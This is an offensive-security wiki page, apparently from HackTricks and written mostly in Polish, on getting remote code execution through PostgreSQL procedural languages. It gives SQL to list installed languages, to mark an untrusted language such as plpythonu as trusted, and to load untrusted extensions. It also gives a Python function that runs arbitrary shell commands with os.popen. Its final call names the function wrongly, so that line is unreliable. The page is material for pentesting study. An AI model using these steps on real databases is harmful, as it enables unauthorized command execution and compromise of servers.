RCE with PostgreSQL Languages

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Języki PostgreSQL

Baza danych PostgreSQL, do której uzyskałeś dostęp, może mieć zainstalowane różne języki skryptowe, które można wykorzystać do wykonywania dowolnego kodu.

Możesz uruchomić je:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

Większość języków skryptowych, które można zainstalować w PostgreSQL, ma 2 warianty: zaufany i niezaufany. Wariant niezaufany będzie miał nazwę zakończoną na "u" i będzie wersją, która umożliwi Ci wykonywanie kodu i korzystanie z innych interesujących funkcji. Oto języki, które są interesujące, jeśli są zainstalowane:

  • plpythonu

  • plpython3u

  • plperlu

  • pljavaU

  • plrubyu

  • ... (dowolny inny język programowania korzystający z niebezpiecznej wersji)

Jeśli odkryjesz, że interesujący język jest zainstalowany, ale przez PostgreSQL jest niezaufany (lanpltrusted ma wartość false), możesz spróbować zaufać mu za pomocą następującej linii, aby PostgreSQL nie stosował żadnych ograniczeń:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

Jeśli nie widzisz języka, spróbuj go załadować z (musisz być superadminem):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Należy zauważyć, że możliwe jest skompilowanie bezpiecznych wersji jako "niebezpieczne". Sprawdź to na przykład. Warto więc zawsze spróbować, czy można wykonać kod, nawet jeśli znajdziesz tylko zainstalowaną wersję zaufaną.

plpythonu/plpython3u

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

Sprawdź następującą stronę:

pagePL/pgSQL Password Bruteforce

C

Sprawdź następującą stronę:

pageRCE with PostgreSQL Extensions
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Last updated